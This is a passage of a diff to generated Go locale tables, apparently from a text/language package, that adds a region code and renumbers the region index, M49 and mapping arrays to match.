0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Entry 400 - 43F - 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x5a, 0x00, - 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, - 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x5b, 0x00, + 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5b, + 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, // Entry 440 - 47F - 0x00, 0x00, 0x00, 0x00, 0x5a, 0x5a, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x5b, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0xe6, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xeb, 0x00, 0x00, 0x00, 0x2c, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, - 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x5a, 0x00, + 0x00, 0xe9, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xee, 0x00, 0x00, 0x00, 0x2c, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5b, + 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x5b, 0x00, // Entry 480 - 4BF - 0x5a, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x5a, 0x00, - 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x5a, 0x00, + 0x5b, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x5b, 0x00, + 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Entry 4C0 - 4FF - 0x5a, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, + 0x5b, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Entry 500 - 53F 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, @@ -1007,7 +1023,7 @@ var suppressScript = [1330]uint8{ 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, } @@ -1016,16 +1032,16 @@ const ( _419 = 31 _BR = 65 _CA = 73 - _ES = 110 - _GB = 123 - _MD = 188 - _PT = 238 - _UK = 306 - _US = 309 - _ZZ = 357 - _XA = 323 - _XC = 325 - _XK = 333 + _ES = 111 + _GB = 124 + _MD = 189 + _PT = 239 + _UK = 307 + _US = 310 + _ZZ = 358 + _XA = 324 + _XC = 326 + _XK = 334 ) // isoRegionOffset needs to be added to the index of regionISO to obtain the regionID @@ -1034,8 +1050,8 @@ const ( const isoRegionOffset = 32 // regionTypes defines the status of a region for various standards. -// Size: 358 bytes, 358 elements -var regionTypes = [358]uint8{ +// Size: 359 bytes, 359 elements +var regionTypes = [359]uint8{ // Entry 0 - 3F 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, @@ -1048,45 +1064,45 @@ var regionTypes = [358]uint8{ // Entry 40 - 7F 0x06, 0x06, 0x06, 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x06, 0x06, 0x06, 0x04, 0x06, 0x04, - 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x04, - 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x00, 0x06, - 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, 0x00, + 0x06, 0x06, 0x06, 0x06, 0x06, 0x04, 0x04, 0x06, + 0x04, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, + 0x04, 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x00, 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, + 0x06, 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, + 0x00, 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, // Entry 80 - BF 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x06, 0x00, 0x04, 0x06, 0x06, 0x06, + 0x06, 0x06, 0x06, 0x06, 0x00, 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, + 0x06, 0x06, 0x06, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, // Entry C0 - FF - 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, + 0x06, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x00, - 0x06, 0x06, 0x06, 0x06, 0x00, 0x06, 0x04, 0x06, - 0x06, 0x06, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x00, - 0x06, 0x06, 0x00, 0x06, 0x05, 0x05, 0x05, 0x05, + 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, + 0x00, 0x06, 0x06, 0x06, 0x06, 0x00, 0x06, 0x04, + 0x06, 0x06, 0x06, 0x06, 0x00, 0x06, 0x06, 0x06, + 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, + 0x00, 0x06, 0x06, 0x00, 0x06, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, // Entry 100 - 13F - 0x05, 0x05, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, + 0x05, 0x05, 0x05, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x04, 0x06, + 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x04, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x02, 0x06, 0x04, 0x06, 0x06, 0x06, - 0x06, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, + 0x06, 0x06, 0x06, 0x02, 0x06, 0x04, 0x06, 0x06, + 0x06, 0x06, 0x06, 0x00, 0x06, 0x06, 0x06, 0x06, // Entry 140 - 17F - 0x06, 0x00, 0x06, 0x05, 0x05, 0x05, 0x05, 0x05, + 0x06, 0x06, 0x00, 0x06, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, - 0x05, 0x05, 0x05, 0x05, 0x05, 0x04, 0x06, 0x06, - 0x04, 0x06, 0x06, 0x04, 0x06, 0x05, + 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x04, 0x06, + 0x06, 0x04, 0x06, 0x06, 0x04, 0x06, 0x05, } // regionISO holds a list of alphabetically sorted 2-letter ISO region codes. @@ -1094,27 +1110,27 @@ var regionTypes = [358]uint8{ // - [A-Z}{2}: the first letter of the 2-letter code plus these two // letters form the 3-letter ISO code. // - 0, n: index into altRegionISO3. -const regionISO tag.Index = "" + // Size: 1308 bytes +const regionISO tag.Index = "" + // Size: 1312 bytes "AAAAACSCADNDAEREAFFGAGTGAIIAALLBAMRMANNTAOGOAQTAARRGASSMATUTAUUSAWBWAXLA" + "AZZEBAIHBBRBBDGDBEELBFFABGGRBHHRBIDIBJENBLLMBMMUBNRNBOOLBQESBRRABSHSBTTN" + "BUURBVVTBWWABYLRBZLZCAANCCCKCDODCFAFCGOGCHHECIIVCKOKCLHLCMMRCNHNCOOLCPPT" + - "CRRICS\x00\x00CTTECUUBCVPVCWUWCXXRCYYPCZZEDDDRDEEUDGGADJJIDKNKDMMADOOMDY" + - "HYDZZAEA ECCUEESTEGGYEHSHERRIESSPETTHEU\x00\x03EZ FIINFJJIFKLKFMSMFORO" + - "FQ\x00\x18FRRAFXXXGAABGBBRGDRDGEEOGFUFGGGYGHHAGIIBGLRLGMMBGNINGPLPGQNQGR" + - "RCGS\x00\x06GTTMGUUMGWNBGYUYHKKGHMMDHNNDHRRVHTTIHUUNHVVOIC IDDNIERLILSR" + - "IMMNINNDIOOTIQRQIRRNISSLITTAJEEYJMAMJOORJPPNJTTNKEENKGGZKHHMKIIRKM\x00" + - "\x09KNNAKP\x00\x0cKRORKWWTKY\x00\x0fKZAZLAAOLBBNLCCALIIELKKALRBRLSSOLTTU" + - "LUUXLVVALYBYMAARMCCOMDDAMENEMFAFMGDGMHHLMIIDMKKDMLLIMMMRMNNGMOACMPNPMQTQ" + - "MRRTMSSRMTLTMUUSMVDVMWWIMXEXMYYSMZOZNAAMNCCLNEERNFFKNGGANHHBNIICNLLDNOOR" + - "NPPLNQ\x00\x1eNRRUNTTZNUIUNZZLOMMNPAANPCCIPEERPFYFPGNGPHHLPKAKPLOLPM\x00" + - "\x12PNCNPRRIPSSEPTRTPUUSPWLWPYRYPZCZQAATQMMMQNNNQOOOQPPPQQQQQRRRQSSSQTTT" + - "QU\x00\x03QVVVQWWWQXXXQYYYQZZZREEURHHOROOURS\x00\x15RUUSRWWASAAUSBLBSCYC" + - "SDDNSEWESGGPSHHNSIVNSJJMSKVKSLLESMMRSNENSOOMSRURSSSDSTTPSUUNSVLVSXXMSYYR" + - "SZWZTAAATCCATDCDTF\x00\x18TGGOTHHATJJKTKKLTLLSTMKMTNUNTOONTPMPTRURTTTOTV" + - "UVTWWNTZZAUAKRUGGAUK UMMIUN USSAUYRYUZZBVAATVCCTVDDRVEENVGGBVIIRVNNMVU" + - "UTWFLFWKAKWSSMXAAAXBBBXCCCXDDDXEEEXFFFXGGGXHHHXIIIXJJJXKKKXLLLXMMMXNNNXO" + - "OOXPPPXQQQXRRRXSSSXTTTXUUUXVVVXWWWXXXXXYYYXZZZYDMDYEEMYT\x00\x1bYUUGZAAF" + - "ZMMBZRARZWWEZZZZ\xff\xff\xff\xff" + "CQ CRRICS\x00\x00CTTECUUBCVPVCWUWCXXRCYYPCZZEDDDRDEEUDGGADJJIDKNKDMMADO" + + "OMDYHYDZZAEA ECCUEESTEGGYEHSHERRIESSPETTHEU\x00\x03EZ FIINFJJIFKLKFMSM" + + "FOROFQ\x00\x18FRRAFXXXGAABGBBRGDRDGEEOGFUFGGGYGHHAGIIBGLRLGMMBGNINGPLPGQ" + + "NQGRRCGS\x00\x06GTTMGUUMGWNBGYUYHKKGHMMDHNNDHRRVHTTIHUUNHVVOIC IDDNIERL" + + "ILSRIMMNINNDIOOTIQRQIRRNISSLITTAJEEYJMAMJOORJPPNJTTNKEENKGGZKHHMKIIRKM" + + "\x00\x09KNNAKP\x00\x0cKRORKWWTKY\x00\x0fKZAZLAAOLBBNLCCALIIELKKALRBRLSSO" + + "LTTULUUXLVVALYBYMAARMCCOMDDAMENEMFAFMGDGMHHLMIIDMKKDMLLIMMMRMNNGMOACMPNP" + + "MQTQMRRTMSSRMTLTMUUSMVDVMWWIMXEXMYYSMZOZNAAMNCCLNEERNFFKNGGANHHBNIICNLLD" + + "NOORNPPLNQ\x00\x1eNRRUNTTZNUIUNZZLOMMNPAANPCCIPEERPFYFPGNGPHHLPKAKPLOLPM" + + "\x00\x12PNCNPRRIPSSEPTRTPUUSPWLWPYRYPZCZQAATQMMMQNNNQOOOQPPPQQQQQRRRQSSS" + + "QTTTQU\x00\x03QVVVQWWWQXXXQYYYQZZZREEURHHOROOURS\x00\x15RUUSRWWASAAUSBLB" + + "SCYCSDDNSEWESGGPSHHNSIVNSJJMSKVKSLLESMMRSNENSOOMSRURSSSDSTTPSUUNSVLVSXXM" + + "SYYRSZWZTAAATCCATDCDTF\x00\x18TGGOTHHATJJKTKKLTLLSTMKMTNUNTOONTPMPTRURTT" + + "TOTVUVTWWNTZZAUAKRUGGAUK UMMIUN USSAUYRYUZZBVAATVCCTVDDRVEENVGGBVIIRVN" + + "NMVUUTWFLFWKAKWSSMXAAAXBBBXCCCXDDDXEEEXFFFXGGGXHHHXIIIXJJJXKKKXLLLXMMMXN" + + "NNXOOOXPPPXQQQXRRRXSSSXTTTXUUUXVVVXWWWXXXXXYYYXZZZYDMDYEEMYT\x00\x1bYUUG" + + "ZAAFZMMBZRARZWWEZZZZ\xff\xff\xff\xff" // altRegionISO3 holds a list of 3-letter region codes that cannot be // mapped to 2-letter codes using the default algorithm. This is a short list. @@ -1124,38 +1140,38 @@ const altRegionISO3 string = "SCGQUUSGSCOMPRKCYMSPMSRBATFMYTATN" // of the 3-letter ISO codes in altRegionISO3. // Size: 22 bytes, 11 elements var altRegionIDs = [11]uint16{ - 0x0057, 0x0070, 0x0088, 0x00a8, 0x00aa, 0x00ad, 0x00ea, 0x0105, - 0x0121, 0x015f, 0x00dc, + 0x0058, 0x0071, 0x0089, 0x00a9, 0x00ab, 0x00ae, 0x00eb, 0x0106, + 0x0122, 0x0160, 0x00dd, } // Size: 80 bytes, 20 elements var regionOldMap = [20]FromTo{ - 0: {From: 0x44, To: 0xc4}, - 1: {From: 0x58, To: 0xa7}, - 2: {From: 0x5f, To: 0x60}, - 3: {From: 0x66, To: 0x3b}, - 4: {From: 0x79, To: 0x78}, - 5: {From: 0x93, To: 0x37}, - 6: {From: 0xa3, To: 0x133}, - 7: {From: 0xc1, To: 0x133}, - 8: {From: 0xd7, To: 0x13f}, - 9: {From: 0xdc, To: 0x2b}, - 10: {From: 0xef, To: 0x133}, - 11: {From: 0xf2, To: 0xe2}, - 12: {From: 0xfc, To: 0x70}, - 13: {From: 0x103, To: 0x164}, - 14: {From: 0x12a, To: 0x126}, - 15: {From: 0x132, To: 0x7b}, - 16: {From: 0x13a, To: 0x13e}, - 17: {From: 0x141, To: 0x133}, - 18: {From: 0x15d, To: 0x15e}, - 19: {From: 0x163, To: 0x4b}, + 0: {From: 0x44, To: 0xc5}, + 1: {From: 0x59, To: 0xa8}, + 2: {From: 0x60, To: 0x61}, + 3: {From: 0x67, To: 0x3b}, + 4: {From: 0x7a, To: 0x79}, + 5: {From: 0x94, To: 0x37}, + 6: {From: 0xa4, To: 0x134}, + 7: {From: 0xc2, To: 0x134}, + 8: {From: 0xd8, To: 0x140}, + 9: {From: 0xdd, To: 0x2b}, + 10: {From: 0xf0, To: 0x134}, + 11: {From: 0xf3, To: 0xe3}, + 12: {From: 0xfd, To: 0x71}, + 13: {From: 0x104, To: 0x165}, + 14: {From: 0x12b, To: 0x127}, + 15: {From: 0x133, To: 0x7c}, + 16: {From: 0x13b, To: 0x13f}, + 17: {From: 0x142, To: 0x134}, + 18: {From: 0x15e, To: 0x15f}, + 19: {From: 0x164, To: 0x4b}, } // m49 maps regionIDs to UN.M49 codes. The first isoRegionOffset entries are // codes indicating collections of regions. -// Size: 716 bytes, 358 elements -var m49 = [358]int16{ +// Size: 718 bytes, 359 elements +var m49 = [359]int16{ // Entry 0 - 3F 0, 1, 2, 3, 5, 9, 11, 13, 14, 15, 17, 18, 19, 21, 29, 30, @@ -1168,45 +1184,45 @@ var m49 = [358]int16{ // Entry 40 - 7F 535, 76, 44, 64, 104, 74, 72, 112, 84, 124, 166, 180, 140, 178, 756, 384, - 184, 152, 120, 156, 170, 0, 188, 891, - 296, 192, 132, 531, 162, 196, 203, 278, - 276, 0, 262, 208, 212, 214, 204, 12, - 0, 218, 233, 818, 732, 232, 724, 231, - 967, 0, 246, 242, 238, 583, 234, 0, - 250, 249, 266, 826, 308, 268, 254, 831, + 184, 152, 120, 156, 170, 0, 0, 188, + 891, 296, 192, 132, 531, 162, 196, 203, + 278, 276, 0, 262, 208, 212, 214, 204, + 12, 0, 218, 233, 818, 732, 232, 724, + 231, 967, 0, 246, 242, 238, 583, 234, + 0, 250, 249, 266, 826, 308, 268, 254, // Entry 80 - BF - 288, 292, 304, 270, 324, 312, 226, 300, - 239, 320, 316, 624, 328, 344, 334, 340, - 191, 332, 348, 854, 0, 360, 372, 376, - 833, 356, 86, 368, 364, 352, 380, 832, - 388, 400, 392, 581, 404, 417, 116, 296, - 174, 659, 408, 410, 414, 136, 398, 418, - 422, 662, 438, 144, 430, 426, 440, 442, - 428, 434, 504, 492, 498, 499, 663, 450, + 831, 288, 292, 304, 270, 324, 312, 226, + 300, 239, 320, 316, 624, 328, 344, 334, + 340, 191, 332, 348, 854, 0, 360, 372, + 376, 833, 356, 86, 368, 364, 352, 380, + 832, 388, 400, 392, 581, 404, 417, 116, + 296, 174, 659, 408, 410, 414, 136, 398, + 418, 422, 662, 438, 144, 430, 426, 440, + 442, 428, 434, 504, 492, 498, 499, 663, // Entry C0 - FF - 584, 581, 807, 466, 104, 496, 446, 580, - 474, 478, 500, 470, 480, 462, 454, 484, - 458, 508, 516, 540, 562, 574, 566, 548, - 558, 528, 578, 524, 10, 520, 536, 570, - 554, 512, 591, 0, 604, 258, 598, 608, - 586, 616, 666, 612, 630, 275, 620, 581, - 585, 600, 591, 634, 959, 960, 961, 962, - 963, 964, 965, 966, 967, 968, 969, 970, + 450, 584, 581, 807, 466, 104, 496, 446, + 580, 474, 478, 500, 470, 480, 462, 454, + 484, 458, 508, 516, 540, 562, 574, 566, + 548, 558, 528, 578, 524, 10, 520, 536, + 570, 554, 512, 591, 0, 604, 258, 598, + 608, 586, 616, 666, 612, 630, 275, 620, + 581, 585, 600, 591, 634, 959, 960, 961, + 962, 963, 964, 965, 966, 967, 968, 969, // Entry 100 - 13F - 971, 972, 638, 716, 642, 688, 643, 646, - 682, 90, 690, 729, 752, 702, 654, 705, - 744, 703, 694, 674, 686, 706, 740, 728, - 678, 810, 222, 534, 760, 748, 0, 796, - 148, 260, 768, 764, 762, 772, 626, 795, - 788, 776, 626, 792, 780, 798, 158, 834, - 804, 800, 826, 581, 0, 840, 858, 860, - 336, 670, 704, 862, 92, 850, 704, 548, + 970, 971, 972, 638, 716, 642, 688, 643, + 646, 682, 90, 690, 729, 752, 702, 654, + 705, 744, 703, 694, 674, 686, 706, 740, + 728, 678, 810, 222, 534, 760, 748, 0, + 796, 148, 260, 768, 764, 762, 772, 626, + 795, 788, 776, 626, 792, 780, 798, 158, + 834, 804, 800, 826, 581, 0, 840, 858, + 860, 336, 670, 704, 862, 92, 850, 704, // Entry 140 - 17F - 876, 581, 882, 973, 974, 975, 976, 977, - 978, 979, 980, 981, 982, 983, 984, 985, - 986, 987, 988, 989, 990, 991, 992, 993, - 994, 995, 996, 997, 998, 720, 887, 175, - 891, 710, 894, 180, 716, 999, + 548, 876, 581, 882, 973, 974, 975, 976, + 977, 978, 979, 980, 981, 982, 983, 984, + 985, 986, 987, 988, 989, 990, 991, 992, + 993, 994, 995, 996, 997, 998, 720, 887, + 175, 891, 710, 894, 180, 716, 999, } // m49Index gives indexes into fromM49 based on the three most significant bits @@ -1227,65 +1243,65 @@ var m49Index = [9]int16{ var fromM49 = [333]uint16{ // Entry 0 - 3F 0x0201, 0x0402, 0x0603, 0x0824, 0x0a04, 0x1027, 0x1205, 0x142b, - 0x1606, 0x1867, 0x1a07, 0x1c08, 0x1e09, 0x202d, 0x220a, 0x240b, + 0x1606, 0x1868, 0x1a07, 0x1c08, 0x1e09, 0x202d, 0x220a, 0x240b, 0x260c, 0x2822, 0x2a0d, 0x302a, 0x3825, 0x3a0e, 0x3c0f, 0x3e32, 0x402c, 0x4410, 0x4611, 0x482f, 0x4e12, 0x502e, 0x5842, 0x6039, 0x6435, 0x6628, 0x6834, 0x6a13, 0x6c14, 0x7036, 0x7215, 0x783d, 0x7a16, 0x8043, 0x883f, 0x8c33, 0x9046, 0x9445, 0x9841, 0xa848, - 0xac9a, 0xb509, 0xb93c, 0xc03e, 0xc838, 0xd0c4, 0xd83a, 0xe047, - 0xe8a6, 0xf052, 0xf849, 0x085a, 0x10ad, 0x184c, 0x1c17, 0x1e18, + 0xac9b, 0xb50a, 0xb93d, 0xc03e, 0xc838, 0xd0c5, 0xd83a, 0xe047, + 0xe8a7, 0xf052, 0xf849, 0x085b, 0x10ae, 0x184c, 0x1c17, 0x1e18, // Entry 40 - 7F - 0x20b3, 0x2219, 0x2920, 0x2c1a, 0x2e1b, 0x3051, 0x341c, 0x361d, - 0x3853, 0x3d2e, 0x445c, 0x4c4a, 0x5454, 0x5ca8, 0x5f5f, 0x644d, - 0x684b, 0x7050, 0x7856, 0x7e90, 0x8059, 0x885d, 0x941e, 0x965e, - 0x983b, 0xa063, 0xa864, 0xac65, 0xb469, 0xbd1a, 0xc486, 0xcc6f, - 0xce6f, 0xd06d, 0xd26a, 0xd476, 0xdc74, 0xde88, 0xe473, 0xec72, - 0xf031, 0xf279, 0xf478, 0xfc7e, 0x04e5, 0x0921, 0x0c62, 0x147a, - 0x187d, 0x1c83, 0x26ed, 0x2860, 0x2c5f, 0x3060, 0x4080, 0x4881, - 0x50a7, 0x5887, 0x6082, 0x687c, 0x7085, 0x788a, 0x8089, 0x8884, + 0x20b4, 0x2219, 0x2921, 0x2c1a, 0x2e1b, 0x3051, 0x341c, 0x361d, + 0x3853, 0x3d2f, 0x445d, 0x4c4a, 0x5454, 0x5ca9, 0x5f60, 0x644d, + 0x684b, 0x7050, 0x7857, 0x7e91, 0x805a, 0x885e, 0x941e, 0x965f, + 0x983b, 0xa064, 0xa865, 0xac66, 0xb46a, 0xbd1b, 0xc487, 0xcc70, + 0xce70, 0xd06e, 0xd26b, 0xd477, 0xdc75, 0xde89, 0xe474, 0xec73, + 0xf031, 0xf27a, 0xf479, 0xfc7f, 0x04e6, 0x0922, 0x0c63, 0x147b, + 0x187e, 0x1c84, 0x26ee, 0x2861, 0x2c60, 0x3061, 0x4081, 0x4882, + 0x50a8, 0x5888, 0x6083, 0x687d, 0x7086, 0x788b, 0x808a, 0x8885, // Entry 80 - BF - 0x908c, 0x9891, 0x9c8e, 0xa138, 0xa88f, 0xb08d, 0xb892, 0xc09d, - 0xc899, 0xd095, 0xd89c, 0xe09b, 0xe896, 0xf097, 0xf89e, 0x004f, - 0x08a0, 0x10a2, 0x1cae, 0x20a1, 0x28a4, 0x30aa, 0x34ab, 0x3cac, - 0x42a5, 0x44af, 0x461f, 0x4cb0, 0x54b5, 0x58b8, 0x5cb4, 0x64b9, - 0x6cb2, 0x70b6, 0x74b7, 0x7cc6, 0x84bf, 0x8cce, 0x94d0, 0x9ccd, - 0xa4c3, 0xaccb, 0xb4c8, 0xbcc9, 0xc0cc, 0xc8cf, 0xd8bb, 0xe0c5, - 0xe4bc, 0xe6bd, 0xe8ca, 0xf0ba, 0xf8d1, 0x00e1, 0x08d2, 0x10dd, - 0x18db, 0x20d9, 0x2429, 0x265b, 0x2a30, 0x2d1b, 0x2e40, 0x30de, + 0x908d, 0x9892, 0x9c8f, 0xa139, 0xa890, 0xb08e, 0xb893, 0xc09e, + 0xc89a, 0xd096, 0xd89d, 0xe09c, 0xe897, 0xf098, 0xf89f, 0x004f, + 0x08a1, 0x10a3, 0x1caf, 0x20a2, 0x28a5, 0x30ab, 0x34ac, 0x3cad, + 0x42a6, 0x44b0, 0x461f, 0x4cb1, 0x54b6, 0x58b9, 0x5cb5, 0x64ba, + 0x6cb3, 0x70b7, 0x74b8, 0x7cc7, 0x84c0, 0x8ccf, 0x94d1, 0x9cce, + 0xa4c4, 0xaccc, 0xb4c9, 0xbcca, 0xc0cd, 0xc8d0, 0xd8bc, 0xe0c6, + 0xe4bd, 0xe6be, 0xe8cb, 0xf0bb, 0xf8d2, 0x00e2, 0x08d3, 0x10de, + 0x18dc, 0x20da, 0x2429, 0x265c, 0x2a30, 0x2d1c, 0x2e40, 0x30df, // Entry C0 - FF - 0x38d3, 0x493f, 0x54e0, 0x5cd8, 0x64d4, 0x6cd6, 0x74df, 0x7cd5, - 0x84da, 0x88c7, 0x8b33, 0x8e75, 0x90c0, 0x92f0, 0x94e8, 0x9ee2, - 0xace6, 0xb0f1, 0xb8e4, 0xc0e7, 0xc8eb, 0xd0e9, 0xd8ee, 0xe08b, - 0xe526, 0xecec, 0xf4f3, 0xfd02, 0x0504, 0x0706, 0x0d07, 0x183c, - 0x1d0e, 0x26a9, 0x2826, 0x2cb1, 0x2ebe, 0x34ea, 0x3d39, 0x4513, - 0x4d18, 0x5508, 0x5d14, 0x6105, 0x650a, 0x6d12, 0x7d0d, 0x7f11, - 0x813e, 0x830f, 0x8515, 0x8d61, 0x9964, 0xa15d, 0xa86e, 0xb117, - 0xb30b, 0xb86c, 0xc10b, 0xc916, 0xd110, 0xd91d, 0xe10c, 0xe84e, + 0x38d4, 0x4940, 0x54e1, 0x5cd9, 0x64d5, 0x6cd7, 0x74e0, 0x7cd6, + 0x84db, 0x88c8, 0x8b34, 0x8e76, 0x90c1, 0x92f1, 0x94e9, 0x9ee3, + 0xace7, 0xb0f2, 0xb8e5, 0xc0e8, 0xc8ec, 0xd0ea, 0xd8ef, 0xe08c, + 0xe527, 0xeced, 0xf4f4, 0xfd03, 0x0505, 0x0707, 0x0d08, 0x183c, + 0x1d0f, 0x26aa, 0x2826, 0x2cb2, 0x2ebf, 0x34eb, 0x3d3a, 0x4514, + 0x4d19, 0x5509, 0x5d15, 0x6106, 0x650b, 0x6d13, 0x7d0e, 0x7f12, + 0x813f, 0x8310, 0x8516, 0x8d62, 0x9965, 0xa15e, 0xa86f, 0xb118, + 0xb30c, 0xb86d, 0xc10c, 0xc917, 0xd111, 0xd91e, 0xe10d, 0xe84e, // Entry 100 - 13F - 0xf11c, 0xf524, 0xf923, 0x0122, 0x0925, 0x1129, 0x192c, 0x2023, - 0x2928, 0x312b, 0x3727, 0x391f, 0x3d2d, 0x4131, 0x4930, 0x4ec2, - 0x5519, 0x646b, 0x747b, 0x7e7f, 0x809f, 0x8298, 0x852f, 0x9135, - 0xa53d, 0xac37, 0xb536, 0xb937, 0xbd3b, 0xd940, 0xe542, 0xed5e, - 0xef5e, 0xf657, 0xfd62, 0x7c20, 0x7ef4, 0x80f5, 0x82f6, 0x84f7, - 0x86f8, 0x88f9, 0x8afa, 